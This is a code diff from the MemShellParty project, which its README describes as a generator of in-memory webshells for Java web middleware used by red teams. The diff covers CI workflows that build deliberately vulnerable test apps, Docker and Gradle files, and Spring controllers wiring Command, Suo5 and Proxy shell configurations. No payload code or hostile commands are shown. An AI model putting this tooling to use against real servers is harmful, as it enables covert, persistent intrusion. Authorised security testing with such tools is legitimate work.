- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
@@ -34,7 +33,7 @@ jobs:
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
@@ -42,49 +41,36 @@ jobs:
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struts2"
|
||||
depend_tasks: ":vul:vul-struts2:war"
|
||||
- middleware: "jenkins"
|
||||
depend_tasks: ""
|
||||
- middleware: "geronimo"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "dubbo"
|
||||
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
||||
runs-on: ubuntu-22.04
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
if: matrix.cases.middleware != 'dubbo'
|
||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Dubbo Integration Test with gradle
|
||||
if: matrix.cases.middleware == 'dubbo'
|
||||
run: ./gradlew :integration-test:dubboContainerTest --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/*/TEST-*.xml'
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
|
||||
@@ -21,9 +21,9 @@ jobs:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
@@ -31,7 +31,7 @@ jobs:
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
@@ -39,27 +39,25 @@ jobs:
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||
- middleware: "struts2"
|
||||
depend_tasks: ":vul:vul-struts2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
@@ -68,7 +66,7 @@ jobs:
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v6
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Get Version
|
||||
id: get_version
|
||||
@@ -36,16 +36,16 @@ jobs:
|
||||
name: Build Jar
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
@@ -65,7 +65,7 @@ jobs:
|
||||
run: ./gradlew :boot:bootjar -x test
|
||||
|
||||
- name: Upload Boot Jar
|
||||
uses: actions/upload-artifact@v7
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/*.jar
|
||||
@@ -75,7 +75,7 @@ jobs:
|
||||
needs: [ info, build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
@@ -84,26 +84,26 @@ jobs:
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v4
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v4
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v7
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -115,7 +115,7 @@ jobs:
|
||||
ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v7
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -130,15 +130,15 @@ jobs:
|
||||
name: Deploy to Maven Central
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
@@ -156,7 +156,7 @@ jobs:
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
name: Single IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
depend_tasks:
|
||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||
required: false
|
||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||
type: string
|
||||
test_class:
|
||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||
required: true
|
||||
type: string
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
integration-test:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
if: ${{ inputs.depend_tasks != '' }}
|
||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -17,16 +17,16 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
@@ -61,6 +61,4 @@ integration-test/**/apusic
|
||||
integration-test/**/bes
|
||||
integration-test/**/tongweb
|
||||
integration-test/**/inforsuite
|
||||
integration-test/**/primeton
|
||||
vul/vul-springboot3-bes
|
||||
vul/vul-springboot3-tongweb
|
||||
integration-test/**/primeton
|
||||
@@ -1,3 +0,0 @@
|
||||
[submodule "libs"]
|
||||
path = libs
|
||||
url = https://github.com/ReaJason/javaweb-sources.git
|
||||
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH=""
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
|
||||
WORKDIR /usr/src/web
|
||||
@@ -16,8 +16,7 @@ WORKDIR /usr/src/web
|
||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
@@ -25,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -36,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
||||
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
|
||||
FROM eclipse-temurin:21.0.12_8-jre-noble
|
||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
@@ -57,4 +56,4 @@ ENV INTERNAL_JAVA_OPTS="\
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||
@@ -25,10 +25,10 @@
|
||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
|
||||
## 主要特性
|
||||
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
||||
|
||||
### 使用前必看
|
||||
|
||||
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
||||
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||
|
||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||
@@ -78,12 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## 贡献者
|
||||
|
||||
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
|
||||
</a>
|
||||
|
||||
## Special Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
|
||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||
RUN pip install requests
|
||||
|
||||
COPY neoreg.py .
|
||||
|
||||
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "4.1.0"
|
||||
id("org.springframework.boot") version "3.5.7"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
@@ -21,8 +21,6 @@ configurations {
|
||||
}
|
||||
}
|
||||
|
||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
@@ -31,8 +29,11 @@ dependencies {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||
}
|
||||
implementation(libs.commons.lang3)
|
||||
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||
compileOnly("org.projectlombok:lombok")
|
||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||
import com.reajason.javaweb.boot.vo.PackerVO;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@@ -23,12 +21,7 @@ import java.util.*;
|
||||
@CrossOrigin("*")
|
||||
public class ConfigController {
|
||||
|
||||
/**
|
||||
* @deprecated use {@link #config()} for memshell configuration and
|
||||
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
||||
*/
|
||||
@RequestMapping("/servers")
|
||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||
public Map<String, List<String>> getServers() {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
@@ -40,40 +33,16 @@ public class ConfigController {
|
||||
return servers;
|
||||
}
|
||||
|
||||
/**
|
||||
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
||||
*/
|
||||
@RequestMapping("/packers")
|
||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||
public List<String> getPackers() {
|
||||
return Arrays.stream(Packers.values())
|
||||
.filter(packers -> packers.getParentPacker() == null)
|
||||
.map(Packers::name).toList();
|
||||
}
|
||||
|
||||
/**
|
||||
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
||||
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
||||
*/
|
||||
@RequestMapping("/packers/tree")
|
||||
public List<PackerVO> getPackerTree() {
|
||||
return Arrays.stream(Packers.values())
|
||||
.filter(packers -> packers.getParentPacker() == null)
|
||||
.map(packers -> new PackerVO(
|
||||
packers.name(),
|
||||
Packers.getPackersWithParent(packers.getInstance().getClass())
|
||||
.stream().map(Packers::name).toList()))
|
||||
.toList();
|
||||
}
|
||||
|
||||
@RequestMapping("/probe/response-body/servers")
|
||||
public List<String> getProbeResponseBodyServers() {
|
||||
return ResponseBodyGenerator.getSupportedServers();
|
||||
}
|
||||
|
||||
@RequestMapping
|
||||
public Map<String, Map<?, ?>> config() {
|
||||
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
@@ -97,4 +66,4 @@ public class ConfigController {
|
||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||
return commandConfigVO;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2,10 +2,9 @@ package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.util.FileCopyUtils;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
@@ -35,18 +34,23 @@ public class ViewController {
|
||||
return renderFileData(relativePath, response);
|
||||
}
|
||||
|
||||
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
||||
@ResponseBody
|
||||
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||
String relativePath = fullPath.substring(4);
|
||||
return renderFileData(relativePath, response);
|
||||
}
|
||||
|
||||
|
||||
@GetMapping("/ui/**")
|
||||
@SneakyThrows
|
||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||
public String handleHtmlView(HttpServletRequest request) {
|
||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||
return "index";
|
||||
}
|
||||
String docPath = fullPath.substring(4);
|
||||
if (docPath.endsWith(".data")) {
|
||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||
}
|
||||
return docPath + "/index";
|
||||
String viewPath = fullPath.substring(4);
|
||||
return viewPath + "/index";
|
||||
}
|
||||
|
||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||
@@ -57,6 +61,8 @@ public class ViewController {
|
||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||
return "File not found: " + relativePath;
|
||||
}
|
||||
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
||||
response.setCharacterEncoding("UTF-8");
|
||||
InputStreamReader reader = new InputStreamReader(
|
||||
resource.getInputStream(),
|
||||
StandardCharsets.UTF_8
|
||||
|
||||
@@ -51,13 +51,11 @@ public class MemShellGenerateRequest {
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.template(shellToolConfig.getCommandTemplate())
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
@@ -77,10 +75,6 @@ public class MemShellGenerateRequest {
|
||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.build();
|
||||
case Proxy -> ProxyConfig.builder()
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.shellClassName(shellToolConfig.shellClassName).build();
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.boot.entity;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.Builder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
package com.reajason.javaweb.boot.vo;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/6/27
|
||||
*/
|
||||
public record PackerVO(String name, List<String> children) {
|
||||
}
|
||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,15 +1,11 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||
import org.springframework.core.ParameterizedTypeReference;
|
||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.client.RestClient;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
@@ -25,64 +21,27 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
public class ConfigControllerIntegrationTest {
|
||||
|
||||
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
||||
};
|
||||
|
||||
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
||||
};
|
||||
|
||||
@LocalServerPort
|
||||
private int port;
|
||||
|
||||
private RestClient restClient;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
restClient = RestClient.builder()
|
||||
.baseUrl("http://localhost:" + port)
|
||||
.build();
|
||||
}
|
||||
@Autowired
|
||||
private TestRestTemplate restTemplate;
|
||||
|
||||
@Test
|
||||
public void testConfigEndpoint() {
|
||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||
.uri("/api/config")
|
